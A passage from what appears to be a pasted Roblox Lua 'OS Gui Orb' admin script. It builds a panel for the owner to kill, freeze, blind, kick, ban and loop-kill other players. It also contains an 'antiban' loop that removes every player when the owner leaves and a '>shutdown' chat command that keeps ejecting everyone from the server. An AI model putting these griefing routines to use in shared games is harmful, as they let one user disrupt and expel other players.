  5749. elseif frame3main.Visible == false then
  5750. frame3main.Visible = true
  5751. button2main.Text = "Close SelfCommands"
  5752. end
  5753. end)
  5754. selected = "ttyyuu12345"
  5755. button1fp.MouseButton1Click:connect(function()
  5756. selected = button1fp.Text
  5757. frame2main.Visible = true
  5758. end)
  5759. local frame1a2main = coroutine.create(function()
  5760. while wait() do
  5761. if frame1main.Visible == false then
  5762. frame2main.Visible = false
  5763. end
  5764. end
  5765. end)
  5766. coroutine.resume(frame1a2main)
  5767. frame1p=Instance.new("Frame")
  5768. frame1p.Parent = frame2main
  5769. frame1p.Name = "Commands"
  5770. frame1p.Style = 2
  5771. frame1p.Size = UDim2.new ( 1, 0, 0.8, 0)
  5772. frame1p.Position = UDim2.new (0, 0, 0.2, 0)
  5773. frame2p=Instance.new("Frame")
  5774. frame2p.Parent = frame2main
  5775. frame2p.Name = "PM"
  5776. frame2p.Style = 2
  5777. frame2p.Size = UDim2.new ( 0.5, 0, 0.3, 0)
  5778. frame2p.Position = UDim2.new ( 1.025, 0, 0, 0)
  5779. frame2p.Visible = false
  5780. image1p=Instance.new("ImageLabel")
  5781. image1p.Parent = frame2main
  5782. image1p.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=200&y=200&Format=Png&username=ttyyuu12345"
  5783. image1p.Name = "Person"
  5784. image1p.BackgroundTransparency = 1
  5785. image1p.Position = UDim2.new ( 0.3, 0, 0, 0)
  5786. image1p.Size = UDim2.new ( 0.2, 0, 0.2, 0)
  5787. label1p=Instance.new("TextLabel")
  5788. label1p.Parent = frame2main
  5789. label1p.Position = UDim2.new ( 0.72, 0, 0.1, 0)
  5790. label1p.Name = "PersonName"
  5791. label1p.Text = "ttyyuu12345"
  5792. label1p.TextColor3 = Color3.new (0, 0, 0)
  5793. label1p.FontSize = Enum.FontSize.Size14
  5794. label1p.TextStrokeTransparency = .7
  5795. local nametell = coroutine.create(function()
  5796. while wait() do
  5797. image1p.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=200&y=200&Format=Png&username="..selected
  5798. if (selected=="DroptheBomb") or (selected=="ttyyuu12345") then
  5799. label1p.TextStrokeColor3 = Color3.new(255*255, 255*255, 0)
  5800. else
  5801. label1p.TextStrokeColor3 = Color3.new(128*255, 255*255, 255*255)
  5802. end
  5803. label1p.Text = selected
  5804. end
  5805. end)
  5806. local debug1 = coroutine.create(function()
  5807. while wait() do
  5808. selpl = game.Players:findFirstChild(selected)
  5809. if selpl==nil then
  5810. frame2main.Visible = false
  5811. return
  5812. end
  5813. end
  5814. end)
  5815. coroutine.resume(debug1)
  5816. coroutine.resume(nametell)
  5817. button1pc=Instance.new("TextButton")
  5818. button1pc.Parent = frame1p
  5819. button1pc.Style = 1
  5820. button1pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5821. button1pc.Text = "Close"
  5822. button1pc.Position = UDim2.new ( 0, 0, 0.9, 0)
  5823. button1pc.Size = UDim2.new ( 1, 0, 0.1, 0)
  5824. button1pc.MouseButton1Click:connect(function()
  5825. frame2main.Visible = false
  5826. end)
  5827. button2pc=Instance.new("TextButton")
  5828. button2pc.Parent = frame1p
  5829. button2pc.Text = "Kill"
  5830. button2pc.Style = 1
  5831. button2pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5832. button2pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5833. button2pc.Position = UDim2.new ( 0, 0, 0, 0)
  5834. button2pc.MouseButton1Click:connect(function()
  5835. player1=game.Players:findFirstChild(selected)
  5836. if player1~=nil then
  5837. player1.Character:BreakJoints()
  5838. end
  5839. end)
  5840. button3pc=Instance.new("TextButton")
  5841. button3pc.Parent = frame1p
  5842. button3pc.Text = "FF"
  5843. button3pc.Style = 1
  5844. button3pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5845. button3pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5846. button3pc.Position = UDim2.new ( 0, 0, 0.1, 0)
  5847. button3pc.MouseButton1Click:connect(function()
  5848. player1=game.Players:findFirstChild(selected)
  5849. if player1~=nil then
  5850. ff=Instance.new("ForceField")
  5851. ff.Parent = player1.Character
  5852. end
  5853. end)
  5854. button4pc=Instance.new("TextButton")
  5855. button4pc.Parent = frame1p
  5856. button4pc.Text = "TP to me"
  5857. button4pc.Style = 1
  5858. button4pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5859. button4pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5860. button4pc.Position = UDim2.new ( 0, 0, 0.2, 0)
  5861. button4pc.MouseButton1Click:connect(function()
  5862. player1=game.Players:findFirstChild(selected)
  5863. player2=game.Players:findFirstChild(owners)
  5864. if (player1~=nil)and(player2~=nil) then
  5865. player1.Character:MoveTo(player2.Character.Torso.Position)
  5866. end
  5867. end)
  5868. button5pc=Instance.new("TextButton")
  5869. button5pc.Parent = frame1p
  5870. button5pc.Text = "TP to"
  5871. button5pc.Style = 1
  5872. button5pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5873. button5pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5874. button5pc.Position = UDim2.new ( 0, 0, 0.3, 0)
  5875. button5pc.MouseButton1Click:connect(function()
  5876. player1=game.Players:findFirstChild(owners)
  5877. player2=game.Players:findFirstChild(selected)
  5878. if (player1~=nil)and(player2~=nil) then
  5879. player1.Character:MoveTo(player2.Character.Torso.Position)
  5880. end
  5881. end)
  5882. button6pc=Instance.new("TextButton")
  5883. button6pc.Parent = frame1p
  5884. button6pc.Text = "Kick"
  5885. button6pc.Style = 1
  5886. button6pc.TextColor3 = Color3.new ( 65025, 0, 0)
  5887. button6pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5888. button6pc.Position = UDim2.new ( 0, 0, 0.4, 0)
  5889. button6pc.MouseButton1Click:connect(function()
  5890. player1=game.Players:findFirstChild(selected)
  5891. if (player1~=nil) then
  5892. if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
  5893. player1:Remove()
  5894. else
  5895. button6pc.Text = "You cannot do that"
  5896. wait(2)
  5897. button6pc.Text = "Kick"
  5898. end
  5899. end
  5900. end)
  5901. button7pc=Instance.new("TextButton")
  5902. button7pc.Parent = frame1p
  5903. button7pc.Text = "NBC"
  5904. button7pc.Style = 1
  5905. button7pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5906. button7pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5907. button7pc.Position = UDim2.new ( 0, 0, 0.5, 0)
  5908. button7pc.MouseButton1Click:connect(function()
  5909. player1=game.Players:findFirstChild(selected)
  5910. if (player1~=nil) then
  5911. player1.MembershipTypeReplicate = 0
  5912. end
  5913. end)
  5914. button8pc=Instance.new("TextButton")
  5915. button8pc.Parent = frame1p
  5916. button8pc.Text = "BC"
  5917. button8pc.Style = 1
  5918. button8pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5919. button8pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5920. button8pc.Position = UDim2.new ( 0, 0, 0.6, 0)
  5921. button8pc.MouseButton1Click:connect(function()
  5922. player1=game.Players:findFirstChild(selected)
  5923. if (player1~=nil) then
  5924. player1.MembershipTypeReplicate = 1
  5925. end
  5926. end)
  5927. button8pc=Instance.new("TextButton")
  5928. button8pc.Parent = frame1p
  5929. button8pc.Text = "TBC"
  5930. button8pc.Style = 1
  5931. button8pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5932. button8pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5933. button8pc.Position = UDim2.new ( 0, 0, 0.7, 0)
  5934. button8pc.MouseButton1Click:connect(function()
  5935. player1=game.Players:findFirstChild(selected)
  5936. if (player1~=nil) then
  5937. player1.MembershipTypeReplicate = 2
  5938. end
  5939. end)
  5940. button9pc=Instance.new("TextButton")
  5941. button9pc.Parent = frame1p
  5942. button9pc.Text = "OBC"
  5943. button9pc.Style = 1
  5944. button9pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5945. button9pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5946. button9pc.Position = UDim2.new ( 0, 0, 0.8, 0)
  5947. button9pc.MouseButton1Click:connect(function()
  5948. player1=game.Players:findFirstChild(selected)
  5949. if (player1~=nil) then
  5950. player1.MembershipTypeReplicate = 3
  5951. end
  5952. end)
  5953. button10pc=Instance.new("TextButton")
  5954. button10pc.Parent = frame1p
  5955. button10pc.Text = "ban"
  5956. button10pc.Style = 1
  5957. button10pc.TextColor3 = Color3.new ( 65025, 0, 0)
  5958. button10pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5959. button10pc.Position = UDim2.new ( 0.25, 0, 0, 0)
  5960. button10pc.MouseButton1Click:connect(function()
  5961. player1=game.Players:findFirstChild(selected)
  5962. if (player1~=nil) then
  5963. if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
  5964. table.insert(bannedlist,player1.Name)
  5965. else
  5966. button10pc.Text = "You cant do that"
  5967. wait(2)
  5968. button10pc.Text = "ban"
  5969. end
  5970. end
  5971. end)
  5972. button11pc=Instance.new("TextButton")
  5973. button11pc.Parent = frame1p
  5974. button11pc.Text = "Freze"
  5975. button11pc.Style = 1
  5976. button11pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5977. button11pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5978. button11pc.Position = UDim2.new ( 0.25, 0, 0.1, 0)
  5979. button11pc.MouseButton1Click:connect(function()
  5980. player1=game.Players:findFirstChild(selected)
  5981. if player1~=nil then
  5982. player1.Character.Humanoid.WalkSpeed = 0
  5983. lolsss=player1.Character:GetChildren()
  5984. for i=1,#lolsss do
  5985. if lolsss[i].className=="Part" then
  5986. lolsss[i].Anchored = true
  5987. lolsss[i].Reflectance = 1
  5988. end
  5989. end
  5990. end
  5991. end)
  5992. button12pc=Instance.new("TextButton")
  5993. button12pc.Parent = frame1p
  5994. button12pc.Text = "Thaw"
  5995. button12pc.Style = 1
  5996. button12pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  5997. button12pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  5998. button12pc.Position = UDim2.new ( 0.25, 0, 0.2, 0)
  5999. button12pc.MouseButton1Click:connect(function()
  6000. player1=game.Players:findFirstChild(selected)
  6001. if player1~=nil then
  6002. player1.Character.Humanoid.WalkSpeed = 16
  6003. lolsss=player1.Character:GetChildren()
  6004. for i=1,#lolsss do
  6005. if lolsss[i].className=="Part" then
  6006. lolsss[i].Anchored = false
  6007. lolsss[i].Reflectance = 0
  6008. end
  6009. end
  6010. end
  6011. end)
  6012. button13pc=Instance.new("TextButton")
  6013. button13pc.Parent = frame1p
  6014. button13pc.Text = "Punish"
  6015. button13pc.Style = 1
  6016. button13pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6017. button13pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6018. button13pc.Position = UDim2.new ( 0.25, 0, 0.3, 0)
  6019. button13pc.MouseButton1Click:connect(function()
  6020. player1=game.Players:findFirstChild(selected)
  6021. if player1~=nil then
  6022. player1.Character.Parent = game.Lighting
  6023. end
  6024. end)
  6025. button14pc=Instance.new("TextButton")
  6026. button14pc.Parent = frame1p
  6027. button14pc.Text = "unpunish"
  6028. button14pc.Style = 1
  6029. button14pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6030. button14pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6031. button14pc.Position = UDim2.new ( 0.25, 0, 0.4, 0)
  6032. button14pc.MouseButton1Click:connect(function()
  6033. player1 = game.Players:findFirstChild(selected)
  6034. if player1~=nil then
  6035. player1.Character.Parent = game.Workspace
  6036. player1.Character:MakeJoints()
  6037. end
  6038. end)
  6039. button15pc=Instance.new("TextButton")
  6040. button15pc.Parent = frame1p
  6041. button15pc.Text = "Loopkill"
  6042. button15pc.Style = 1
  6043. button15pc.TextColor3 = Color3.new ( 65025, 0, 0)
  6044. button15pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6045. button15pc.Position = UDim2.new ( 0.25, 0, 0.5, 0)
  6046. button15pc.MouseButton1Click:connect(function()
  6047. player1 = game.Players:findFirstChild(selected)
  6048. if player1~=nil then
  6049. if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
  6050. table.insert(loopkill,player1.Name)
  6051. else
  6052. button15pc.Text = "You cannot do that"
  6053. wait(2)
  6054. button15pc.Text = "Loopkill"
  6055. end
  6056. end
  6057. end)
  6058. button16pc=Instance.new("TextButton")
  6059. button16pc.Parent = frame1p
  6060. button16pc.Text = "Unloopkill"
  6061. button16pc.Style = 1
  6062. button16pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6063. button16pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6064. button16pc.Position = UDim2.new ( 0.25, 0, 0.6, 0)
  6065. button16pc.MouseButton1Click:connect(function()
  6066. player2 = game.Players:findFirstChild(selected)
  6067. if player2~=nil then
  6068. for i=1,#loopkill do
  6069. if loopkill[i]==player2.Name then
  6070. table.remove(loopkill,i)
  6071. end
  6072. end
  6073. end
  6074. end)
  6075. button17pc=Instance.new("TextButton")
  6076. button17pc.Parent = frame1p
  6077. button17pc.Text = "Respawn"
  6078. button17pc.Style = 1
  6079. button17pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6080. button17pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6081. button17pc.Position = UDim2.new ( 0.25, 0, 0.7, 0)
  6082. button17pc.MouseButton1Click:connect(function()
  6083. player1 = game.Players:findFirstChild(selected)
  6084. if player1~=nil then
  6085. newchar=Instance.new("Model")
  6086. newchar.Parent = game.Workspace
  6087. newhuman=Instance.new("Humanoid")
  6088. newhuman.Parent = newchar
  6089. player1.Character = newchar
  6090. end
  6091. end)
  6092. button18pc=Instance.new("TextButton")
  6093. button18pc.Parent = frame1p
  6094. button18pc.Text = "Temporary Blind"
  6095. button18pc.Style = 1
  6096. button18pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6097. button18pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6098. button18pc.Position = UDim2.new ( 0.25, 0, 0.8, 0)
  6099. button18pce=true
  6100. button18pc.MouseButton1Click:connect(function()
  6101. player1 = game.Players:findFirstChild(selected)
  6102. if player1~=nil then
  6103. if button18pce==true then
  6104. button18pce=false
  6105. torchergui=Instance.new("ScreenGui")
  6106. torchergui.Parent = player1.PlayerGui
  6107. torcherframe=Instance.new("Frame")
  6108. torcherframe.Parent = torchergui
  6109. torcherframe.Size = UDim2.new ( 1, 0, 1, 0)
  6110. torcherframe.BackgroundColor3 = Color3.new ( 255*255, 255*255, 255*255)
  6111. wait(5)
  6112. torchergui:Remove()
  6113. button18pce=true
  6114. end
  6115. end
  6116. end)
  6117. button19pc=Instance.new("TextButton")
  6118. button19pc.Parent = frame1p
  6119. button19pc.Text = "UNFF"
  6120. button19pc.Style = 1
  6121. button19pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6122. button19pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
  6123. button19pc.Position = UDim2.new ( 0.5, 0, 0, 0)
  6124. button19pce=true
  6125. button19pc.MouseButton1Click:connect(function()
  6126. player1=game.Players:findFirstChild(selected)
  6127. if player1~=nil then
  6128. allff=player1.Character:GetChildren()
  6129. for i=1,#allff do
  6130. if allff[i].className=="ForceField" then
  6131. allff[i]:Remove()
  6132. end
  6133. end
  6134. end
  6135. end)
  6136. button1sc=Instance.new("TextButton")
  6137. button1sc.Parent = frame3main
  6138. button1sc.Style = 1
  6139. button1sc.TextColor3 = Color3.new ( 65025, 65025, 65025)
  6140. button1sc.Size = UDim2.new ( 0.5, 0, 0.1, 0)
  6141. button1sc.Position = UDim2.new ( 0, 0, 0, 0)
  6142. if antiban==true then
  6143. button1sc.Text = "Turn AB off"
  6144. elseif antiban==false then
  6145. button1sc.Text = "Turn AB on"
  6146. else
  6147. button1sc.Text = "error"
  6148. end
  6149. button1sc.MouseButton1Click:connect(function()
  6150. if orbsafetestmode==false then
  6151. if antiban==false then
  6152. antiban=true
  6153. button1sc.Text = "Turn AB off"
  6154. elseif antiban==true then
  6155. antiban = false
  6156. button1sc.Text = "Turn AB on"
  6157. end
  6158. end
  6159. end)
  6160. local restriction = coroutine.create(function()
  6161. while wait() do
  6162. if (selected=="ttyyuu12345") or (selected=="DroptheBomb") then
  6163. button6pc.TextColor3 = Color3.new ( 128*255, 0, 0)
  6164. button10pc.TextColor3 = Color3.new ( 128*255, 0, 0)
  6165. button15pc.TextColor3 = Color3.new ( 128*255, 0, 0)
  6166. else
  6167. button6pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
  6168. button10pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
  6169. button15pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
  6170. end
  6171. end
  6172. end)
  6173. coroutine.resume(restriction )
  6174. end--end of gui creator function
  6175. local ban = coroutine.create(function()
  6176. while wait() do
  6177. players=game.Players:GetChildren()
  6178. for ii=1,#players do
  6179. for jj=1,#bannedlist do
  6180. if (string.lower(players[ii].Name)==string.lower(bannedlist[jj])) then
  6181. players[ii]:Remove()
  6182. end
  6183. end
  6184. end
  6185. end
  6186. end)
  6187. local ab1 = coroutine.create(function()
  6188. while wait() do
  6189. playerprotect=game.Players:findFirstChild(owners)
  6190. if (antiban==true)and(playerprotect==nil) then
  6191. playersall=game.Players:GetChildren()
  6192. for i=1,#playersall do
  6193. playersall[i]:Remove()
  6194. end
  6195. end
  6196. end
  6197. end)
  6198. local lk1 = coroutine.create(function()
  6199. while wait() do
  6200. playersfr=game.Players:GetChildren()
  6201. for i=1,#playersfr do
  6202. for t=1,#loopkill do
  6203. if playersfr[i].Name==loopkill[t] then
  6204. playersfr[i].Character:BreakJoints()
  6205. end
  6206. end
  6207. end
  6208. end
  6209. end)
  6210. coroutine.resume(ab1)
  6211. coroutine.resume(ban)
  6212. coroutine.resume(lk1)
  6213. while wait() do
  6214. if game.Players:findFirstChild(owners) then
  6215. name = owners.."'s OS Gui Orb V1(Build "..buildnumber..")"
  6216. a=game.Players:findFirstChild(owners)
  6217. b=a.Character
  6218. c=a.PlayerGui
  6219. d=b:findFirstChild("Torso")
  6220. gui=game:GetService("StarterGui")
  6221. na=b:findFirstChild(name)
  6222. if na==nil then
  6223. if d~=nil then
  6224. e=Instance.new("Model")
  6225. e.Parent = b
  6226. e.Name = name
  6227. f=Instance.new("Part")
  6228. f.Parent = e
  6229. f.Name = "Head"
  6230. f.CanCollide = true
  6231. f.Locked = true
  6232. f.BrickColor = BrickColor.new("Bright orange")
  6233. local tor = b:FindFirstChild("Torso")
  6234. if (tor==nil) then return end
  6235. f.CFrame = (tor.CFrame*CFrame.new(4, 4, -4))
  6236. f.Material = "Plastic"
  6237. f.formFactor = "Brick"
  6238. f.Shape = "Ball"
  6239. f.Size = Vector3.new ( 1, 1, 1)
  6240. bp = Instance.new("BodyPosition")
  6241. bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  6242. bp.Parent = f
  6243. me=Instance.new("SpecialMesh")
  6244. me.Parent = f
  6245. me.MeshId = "http://www.roblox.com/asset/?id=34795798"
  6246. me.TextureId = "http://www.roblox.com/asset/?id=34795697"
  6247. spa=Instance.new("Sparkles")
  6248. spa.Parent = f
  6249. spa.Enabled = true
  6250. spa.SparkleColor = Color3.new( math.random ( 1, 255), math.random ( 1, 255), math.random ( 1, 255))
  6251. hum=Instance.new("Humanoid")
  6252. hum.Parent = e
  6253. hum.MaxHealth = 0
  6254. end
  6255. else
  6256. t=b:findFirstChild(name)
  6257. if t~=nil then
  6258. u=t:findFirstChild("Head")
  6259. if u~=nil then
  6260. tor = b:findFirstChild("Torso")
  6261. if tor~=nil then
  6262. bodpos=u:findFirstChild("BodyPosition")
  6263. bodpos.position = (tor.CFrame*CFrame.new(4, 4, -4)).p
  6264. if not c:findFirstChild(owners.."'s GuiOrb") then
  6265. onEnter(a)
  6266. end
  6267. end
  6268. end
  6269. end
  6270. end
  6271. end
  6272. end
  6273. end
  6274.  
  6275. if text == ">shutdown" then
  6276. m = Instance.new("Message")
  6277. m.Parent = game.Workspace
  6278. m.Text = "Access Granted. SB Shutdown Executed."
  6279.  
  6280. while true do
  6281. wait(0.1)
  6282. m = game.Players:GetChildren()
  6283. for i = 1, #m do
  6284. m[i]:Remove()
  6285. end
  6286. end
  6287. end
  6288. end
  6289.  
  6290. a.Chatted:connect(Chat)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement